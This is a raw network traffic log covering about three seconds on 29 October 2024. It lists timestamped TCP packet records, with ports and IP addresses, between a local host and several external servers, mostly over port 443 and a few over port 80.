Oct 29, 2024 15:27:30.245748043 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.245842934 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.247988939 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.248001099 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.256968975 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.257023096 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.257122993 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.257407904 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.257422924 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.259788036 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.259820938 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.259885073 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.260606050 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.260615110 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.272033930 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:30.272063017 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:30.272500038 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:30.273557901 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:30.273567915 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:30.397897005 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.398184061 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.398246050 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.398622036 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.398690939 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.399362087 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.399462938 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.401942015 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.402024031 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.402105093 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.402134895 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.402164936 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.446084023 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.683655977 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.732100964 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.732111931 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.733016014 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.733066082 CET	443	49831	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:30.733185053 CET	49831	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:30.979790926 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.980566025 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.980588913 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.981045008 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.981050968 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.987864971 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.988400936 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.988415956 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.988816977 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.988822937 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.990772963 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.991090059 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.991102934 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.991472960 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.991478920 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.993743896 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.994052887 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.994090080 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.994442940 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.994453907 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.997910023 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.998318911 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.998369932 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:30.998754978 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:30.998774052 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.111501932 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.111573935 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.111921072 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.111922026 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.111922026 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.114878893 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.114907980 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.115252018 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.115401030 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.115416050 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.124634981 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.124821901 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.124897003 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.124929905 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.124938965 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.124949932 CET	49834	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.124954939 CET	443	49834	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.127705097 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.127757072 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.127911091 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.128014088 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.128110886 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.128125906 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.128156900 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.128207922 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.128217936 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.128232956 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.128297091 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.128397942 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.128397942 CET	49837	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.128411055 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.128415108 CET	443	49837	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.130635977 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.130685091 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.130774021 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.130908012 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.130927086 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.132131100 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.132504940 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.132592916 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.132616043 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.132626057 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.132642984 CET	49836	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.132647991 CET	443	49836	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.133848906 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.133918047 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.134088993 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.134149075 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.134149075 CET	49838	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.134155989 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.134167910 CET	443	49838	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.134301901 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.134375095 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.134897947 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.134916067 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.135023117 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.135142088 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.135149956 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.136676073 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.136689901 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.136760950 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.136796951 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.136801958 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.136981010 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.136996031 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.137140989 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.177136898 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.223326921 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.419483900 CET	49835	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:31.419529915 CET	443	49835	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:31.428987026 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.429054976 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.429176092 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.429197073 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.429210901 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.429210901 CET	49839	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.429219007 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.429225922 CET	443	49839	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.472560883 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.472580910 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.472654104 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.472976923 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:31.472986937 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:31.922168970 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:31.922198057 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:31.922319889 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:31.922857046 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:31.922868967 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.000168085 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.001518011 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.001553059 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.002300978 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.002381086 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.002388954 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.003566980 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.003571987 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.004970074 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.004986048 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.005881071 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.005884886 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.006546021 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.006570101 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.007391930 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.007400036 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.007884979 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.007896900 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.008344889 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.008348942 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.131184101 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.131717920 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.131746054 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.132183075 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.132190943 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133178949 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133210897 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133264065 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133276939 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.133338928 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.133632898 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133692026 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133723974 CET	49843	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.133735895 CET	443	49843	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133764982 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.133963108 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.133979082 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.133995056 CET	49845	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.134011984 CET	443	49845	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.134135008 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.134279013 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.134335995 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.134861946 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.134870052 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.135036945 CET	49844	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.135042906 CET	443	49844	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.137836933 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.137846947 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.137931108 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.138470888 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.138483047 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.138845921 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.138858080 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.138870955 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.138915062 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.138919115 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.139046907 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.139065981 CET	49846	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.139070034 CET	443	49846	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.139204025 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.139219046 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.139504910 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.139565945 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.139671087 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.139889002 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.139909983 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.141582966 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.141604900 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.141737938 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.141832113 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.141851902 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.270250082 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.270283937 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.270328045 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.270361900 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.270402908 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.270840883 CET	49847	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.270863056 CET	443	49847	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.276629925 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.276674986 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.276978970 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.277774096 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.277796030 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.338634014 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.338716030 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:32.340051889 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:32.340060949 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.340393066 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.341650009 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:32.387335062 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.578501940 CET	49742	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:32.579013109 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:32.583882093 CET	80	49742	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:32.584275007 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:32.584373951 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:32.584537029 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:32.584573984 CET	49856	80	192.168.2.6	185.215.113.206
Oct 29, 2024 15:27:32.589360952 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.589430094 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.589530945 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:32.589926958 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:32.589932919 CET	80	49856	185.215.113.206	192.168.2.6
Oct 29, 2024 15:27:32.590457916 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:32.590472937 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.590522051 CET	49848	443	192.168.2.6	184.28.90.27
Oct 29, 2024 15:27:32.590528011 CET	443	49848	184.28.90.27	192.168.2.6
Oct 29, 2024 15:27:32.852705956 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.853065968 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.853079081 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.853463888 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.853554964 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.854191065 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.854248047 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.854474068 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.854531050 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.854654074 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.854654074 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.854661942 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.862790108 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.866316080 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.866364956 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.867139101 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.867151976 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.873771906 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.875885010 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.875897884 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.876691103 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.876697063 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.886818886 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.887970924 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.888011932 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.888658047 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.888665915 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.899333000 CET	443	49849	216.58.206.46	192.168.2.6
Oct 29, 2024 15:27:32.903897047 CET	49849	443	192.168.2.6	216.58.206.46
Oct 29, 2024 15:27:32.907275915 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.907984018 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.907998085 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.908595085 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.908600092 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.991736889 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.992357969 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.992441893 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.995800018 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.995837927 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:32.995858908 CET	49852	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:32.995867968 CET	443	49852	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.000288963 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.000330925 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.000529051 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.000669956 CET	49858	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.000691891 CET	443	49858	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.009248972 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.009284019 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.009330988 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.009341955 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.009466887 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.009721994 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.009721994 CET	49853	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.009744883 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.009753942 CET	443	49853	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.011476994 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.012522936 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.012557030 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.013097048 CET	49854	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.013122082 CET	443	49854	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.014044046 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.014082909 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.014380932 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.014523983 CET	49859	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.014535904 CET	443	49859	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.020739079 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.020792961 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.021063089 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.021208048 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.021258116 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.021272898 CET	49850	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.021290064 CET	443	49850	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.023720026 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.023741007 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.024032116 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.024260044 CET	49860	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.024271011 CET	443	49860	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.066052914 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.066133022 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.066509008 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.066782951 CET	49851	443	192.168.2.6	13.107.246.45
Oct 29, 2024 15:27:33.066797972 CET	443	49851	13.107.246.45	192.168.2.6
Oct 29, 2024 15:27:33.066816092 CET	49851	443	192.168.2.6	13.107.246.45
